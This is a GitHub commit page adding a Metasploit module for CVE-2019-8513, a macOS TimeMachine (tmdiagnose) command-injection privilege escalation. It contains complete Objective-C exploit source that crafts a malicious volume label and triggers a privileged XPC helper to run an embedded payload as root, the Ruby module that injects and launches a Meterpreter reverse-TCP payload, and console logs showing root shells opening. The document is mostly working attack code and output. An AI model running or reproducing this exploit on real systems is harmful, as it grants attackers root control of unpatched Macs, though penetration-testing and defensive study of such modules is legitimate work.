-
Notifications
You must be signed in to change notification settings - Fork 13.8k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #11726, add exploit for CVE-2019-8513, macOS TimeMachine cmd inj…
…ection
- Loading branch information
1 parent
b90deb6
commit f6f471d
Showing
5 changed files
with
332 additions
and
0 deletions.
There are no files selected for viewing
Binary file not shown.
62 changes: 62 additions & 0 deletions
62
documentation/modules/exploit/osx/local/timemachine_cmd_injection.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,62 @@ | ||
## Vulnerable Application | ||
|
||
This module exploits a command injection in TimeMachine on macOS <= 10.14.3 in order to run a payload as root. The tmdiagnose binary on OSX <= 10.14.3 suffers from a command injection vulnerability that can be exploited by creating a specially crafted disk label. | ||
|
||
The tmdiagnose binary uses awk to list every mounted volume, and composes shell commands based on the volume labels. By creating a volume label with the backtick character, we can have our own binary executed with root priviledges. | ||
|
||
## Verification Steps | ||
|
||
1. Get a session on a vulnerable system | ||
2. `use exploit/osx/local/timemachine_cmd_injection` | ||
3. `set lhost <IP>` | ||
4. `set lport <PORT>` | ||
5. `set session <session_id>` | ||
6. `run` | ||
|
||
## Scenarios | ||
|
||
### Mac OSX 10.14.3 (Mojave) | ||
|
||
``` | ||
msf5 exploit(multi/handler) > use exploit/osx/local/timemachine_cmd_injection | ||
msf5 exploit(osx/local/timemachine_cmd_injection) > exploit | ||
[!] SESSION may not be compatible with this module. | ||
[*] Started reverse TCP handler on 192.168.0.2:5555 | ||
[*] Uploading file: '/tmp/qhjlknnmf' | ||
[*] Executing exploit '/tmp/qhjlknnmf' | ||
[*] Exploit result: | ||
2019-04-18 16:18:29.190 qhjlknnmf[51122:107119] creating dmg image | ||
2019-04-18 16:18:33.300 qhjlknnmf[51122:107119] mounting malformed disk | ||
2019-04-18 16:18:33.564 qhjlknnmf[51122:107119] sending XPC msg | ||
2019-04-18 16:18:33.564 qhjlknnmf[51122:107119] now wait a few minutes for the root command to run | ||
[*] Transmitting first stager...(210 bytes) | ||
[*] Transmitting second stager...(8192 bytes) | ||
[*] Sending stage (808504 bytes) to 192.168.0.2 | ||
[*] Meterpreter session 2 opened (192.168.0.2:5555 -> 192.168.0.2:34270) at 2019-04-18 16:20:02 +0800 | ||
meterpreter > getuid | ||
Server username: uid=0, gid=0, euid=0, egid=0 | ||
``` | ||
|
||
### MacOS 10.13.3 (High Sierra) | ||
|
||
``` | ||
[!] SESSION may not be compatible with this module. | ||
[*] Started reverse TCP handler on 192.168.86.1.31:4444 | ||
[*] Uploading file: '/tmp/.xbdtqiynvb' | ||
[*] Executing exploit '/tmp/.xbdtqiynvb' | ||
[*] Exploit result: | ||
2019-06-29 12:26:29.052 .xbdtqiynvb[553:3447] creating dmg image | ||
2019-06-29 12:26:33.193 .xbdtqiynvb[553:3447] mounting malformed disk | ||
2019-06-29 12:26:33.533 .xbdtqiynvb[553:3447] sending XPC msg | ||
2019-06-29 12:26:33.534 .xbdtqiynvb[553:3447] now wait a few minutes for the root command to run | ||
[*] Transmitting first stager...(210 bytes) | ||
[*] Transmitting second stager...(8192 bytes) | ||
[*] Sending stage (813560 bytes) to 192.168.86.1.32 | ||
[*] Meterpreter session 3 opened (192.168.86.1.31:4444 -> 192.168.86.1.32:55888) at 2019-06-29 05:27:24 -0500 | ||
meterpreter > getuid | ||
Server username: uid=0, gid=0, euid=0, egid=0 | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,25 @@ | ||
OUTPUT="./bin" | ||
SOURCE=exp.m | ||
|
||
|
||
.PHONY: $(OUTPUT)/test | ||
|
||
all: $(SOURCE) prepare | ||
clang -framework Foundation -framework DiskArbitration $(SOURCE) -o $(OUTPUT)/test | ||
|
||
clean: | ||
rm -rf $(OUTPUT)/* | ||
|
||
run: all | ||
$(OUTPUT)/test | ||
|
||
format: | ||
clang-format -i $(SOURCE) | ||
|
||
prepare: | ||
mkdir -p $(OUTPUT) | ||
|
||
install: | ||
mkdir -p ../../../../data/exploits/CVE-2019-8513/ | ||
cp $(OUTPUT)/test ../../../../data/exploits/CVE-2019-8513/exploit | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,140 @@ | ||
/* | ||
clang -framework Foundation -framework DiskArbitration exp.m -o exp && ./exp | ||
*/ | ||
|
||
#import <Foundation/Foundation.h> | ||
#import <DiskArbitration/DiskArbitration.h> | ||
#import <xpc/xpc.h> | ||
|
||
#include <glob.h> | ||
#include <semaphore.h> | ||
|
||
#include <sys/mman.h> | ||
|
||
char root_payload[1024] = "ROOT_PAYLOAD_PLACEHOLDER"; | ||
void root() { | ||
NSLog(@"[exploit] I am Groot!"); | ||
|
||
if (!strncmp(root_payload, "CMD:", 4)) { | ||
system(root_payload + 4); | ||
} else { | ||
void *ptr = mmap(0, sizeof(root_payload), PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0); | ||
if (ptr == MAP_FAILED) { | ||
return; | ||
} | ||
memcpy(ptr, root_payload, sizeof(root_payload)); | ||
int (*sc)() = ptr; | ||
sc(); | ||
} | ||
} | ||
|
||
#define TARGET "/tmp/1" | ||
#define CMD "t*/1" | ||
#define VOLUME "disk`" CMD "`\nA" | ||
#define VOLUMEPATH "disk`t*:1`\nA" | ||
|
||
@protocol DETimeMachineHelperProtocol | ||
- (void)runDiagnosticWithDestinationDir:(NSURL *)arg1 | ||
replyURL:(void (^)(NSURL *))arg2; | ||
@end | ||
|
||
NSPipe *hdiutil(NSArray *args) { | ||
NSPipe *pipe = [NSPipe pipe]; | ||
NSTask *task = [[NSTask alloc] init]; | ||
[task setStandardOutput:pipe]; | ||
[task setLaunchPath:@"/usr/bin/hdiutil"]; | ||
[task setArguments:args]; | ||
[task launch]; | ||
[task waitUntilExit]; | ||
return pipe; | ||
} | ||
|
||
void exploit() { | ||
NSString *dir = [NSTemporaryDirectory() | ||
stringByAppendingPathComponent:[[NSProcessInfo processInfo] | ||
globallyUniqueString]]; | ||
NSString *dmg = [dir stringByAppendingString:@".dmg"]; | ||
NSFileManager *fileMgr = [NSFileManager defaultManager]; | ||
NSError *err = NULL; | ||
NSString *src = [[NSBundle mainBundle] executablePath]; | ||
[fileMgr removeItemAtPath:@TARGET error:nil]; | ||
[fileMgr copyItemAtPath:src toPath:@TARGET error:&err]; | ||
if (err) | ||
NSLog(@"warning, failed to copy: %@", err); | ||
|
||
[fileMgr createDirectoryAtPath:dir | ||
withIntermediateDirectories:YES | ||
attributes:nil | ||
error:&err]; | ||
|
||
NSLog(@"creating dmg image"); | ||
hdiutil(@[ | ||
@"create", @"-fs", @"HFS+", @"-volname", @VOLUME, @"-srcfolder", dir, | ||
@"-size", @"840k", @"-format", @"UDRW", dmg | ||
]); | ||
|
||
NSLog(@"mounting malformed disk"); | ||
NSPipe *pipe = hdiutil(@[ @"attach", dmg ]); | ||
NSString *mounted = [[NSString alloc] | ||
initWithData:[[pipe fileHandleForReading] readDataToEndOfFile] | ||
encoding:NSUTF8StringEncoding]; | ||
|
||
NSLog(@"sending XPC msg"); | ||
NSXPCConnection *connection = [[NSXPCConnection alloc] | ||
initWithMachServiceName: | ||
@"com.apple.diagnosticextensions.osx.timemachine.helper" | ||
options:NSXPCConnectionPrivileged]; | ||
connection.remoteObjectInterface = [NSXPCInterface | ||
interfaceWithProtocol:@protocol(DETimeMachineHelperProtocol)]; | ||
[connection resume]; | ||
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0); | ||
// it doesn't matter | ||
NSURL *randomURL = [[NSURL alloc] initFileURLWithPath:dir]; | ||
[connection.remoteObjectProxy | ||
runDiagnosticWithDestinationDir:randomURL | ||
replyURL:^(NSURL *url) { | ||
NSLog(@"done"); | ||
dispatch_semaphore_signal(semaphore); | ||
}]; | ||
NSLog(@"now wait a few minutes for the root command to run"); | ||
if (fork()) { | ||
return; | ||
} | ||
|
||
dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER); | ||
} | ||
|
||
void cleanup() { | ||
// eject malformed images | ||
NSArray *mountedRemovableMedia = [[NSFileManager defaultManager] mountedVolumeURLsIncludingResourceValuesForKeys:nil options:NSVolumeEnumerationSkipHiddenVolumes]; | ||
NSMutableArray *result = [NSMutableArray array]; | ||
DASessionRef session = DASessionCreate(NULL); | ||
if (session) { | ||
for (NSURL *volURL in mountedRemovableMedia) { | ||
DADiskRef disk = DADiskCreateFromVolumePath(NULL, session, (CFURLRef)volURL); | ||
if (disk) { | ||
NSString* filePath = [volURL path]; | ||
if ([filePath rangeOfString:@VOLUMEPATH].location != NSNotFound) { | ||
DADiskUnmount(disk, kDADiskUnmountOptionDefault, NULL, NULL); | ||
DADiskEject(disk, kDADiskEjectOptionDefault, NULL, NULL); | ||
} | ||
CFRelease(disk); | ||
} | ||
} | ||
CFRelease(session); | ||
} | ||
|
||
system("killall -9 tmdiagnose"); | ||
} | ||
|
||
int main(int argc, const char *argv[]) { | ||
@autoreleasepool { | ||
if (geteuid()) { | ||
exploit(); | ||
} else { | ||
cleanup(); | ||
root(); | ||
} | ||
} | ||
return 0; | ||
} |
105 changes: 105 additions & 0 deletions
105
modules/exploits/osx/local/timemachine_cmd_injection.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,105 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Post::File | ||
include Msf::Post::OSX::Priv | ||
include Msf::Post::OSX::System | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Mac OS X TimeMachine (tmdiagnose) Command Injection Privilege Escalation', | ||
'Description' => %q{ | ||
This module exploits a command injection in TimeMachine on macOS <= 10.14.3 in | ||
order to run a payload as root. The tmdiagnose binary on OSX <= 10.14.3 suffers | ||
from a command injection vulnerability that can be exploited by creating a | ||
specially crafted disk label. | ||
The tmdiagnose binary uses awk to list every mounted volume, and composes | ||
shell commands based on the volume labels. By creating a volume label with the | ||
backtick character, we can have our own binary executed with root priviledges. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'CodeColorist', # Discovery and exploit | ||
'timwr', # Metasploit module | ||
], | ||
'References' => [ | ||
['CVE', '2019-8513'], | ||
['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-i-cve-2019-8513-timemachine-root-command-injection-47e056b3cb43'], | ||
['URL', 'https://support.apple.com/en-in/HT209600'], | ||
['URL', 'https://github.com/ChiChou/sploits'], | ||
], | ||
'DefaultTarget' => 0, | ||
'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' }, | ||
'Targets' => [ | ||
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ], | ||
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ], | ||
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ], | ||
], | ||
'DisclosureDate' => 'Apr 13 2019')) | ||
register_advanced_options [ | ||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) | ||
] | ||
end | ||
|
||
def upload_executable_file(filepath, filedata) | ||
print_status("Uploading file: '#{filepath}'") | ||
write_file(filepath, filedata) | ||
chmod(filepath) | ||
register_file_for_cleanup(filepath) | ||
end | ||
|
||
def check | ||
version = Gem::Version.new(get_system_version) | ||
if version >= Gem::Version.new('10.14.4') | ||
CheckCode::Safe | ||
else | ||
CheckCode::Appears | ||
end | ||
end | ||
|
||
def exploit | ||
if check != CheckCode::Appears | ||
fail_with Failure::NotVulnerable, 'Target is not vulnerable' | ||
end | ||
|
||
if is_root? | ||
fail_with Failure::BadConfig, 'Session already has root privileges' | ||
end | ||
|
||
unless writable? datastore['WritableDir'] | ||
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" | ||
end | ||
|
||
exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8513", "exploit" )) | ||
if target['Arch'] == ARCH_X64 | ||
root_cmd = payload.encoded | ||
else | ||
root_cmd = payload.raw | ||
if target['Arch'] == ARCH_PYTHON | ||
root_cmd = "echo \"#{root_cmd}\" | python" | ||
end | ||
root_cmd = "CMD:#{root_cmd}" | ||
end | ||
if root_cmd.length > 1024 | ||
fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder" | ||
end | ||
|
||
placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER') | ||
exploit_data[placeholder_index, root_cmd.length] = root_cmd | ||
|
||
exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}" | ||
upload_executable_file(exploit_file, exploit_data) | ||
|
||
print_status("Executing exploit '#{exploit_file}'") | ||
result = cmd_exec(exploit_file) | ||
print_status("Exploit result:\n#{result}") | ||
end | ||
end |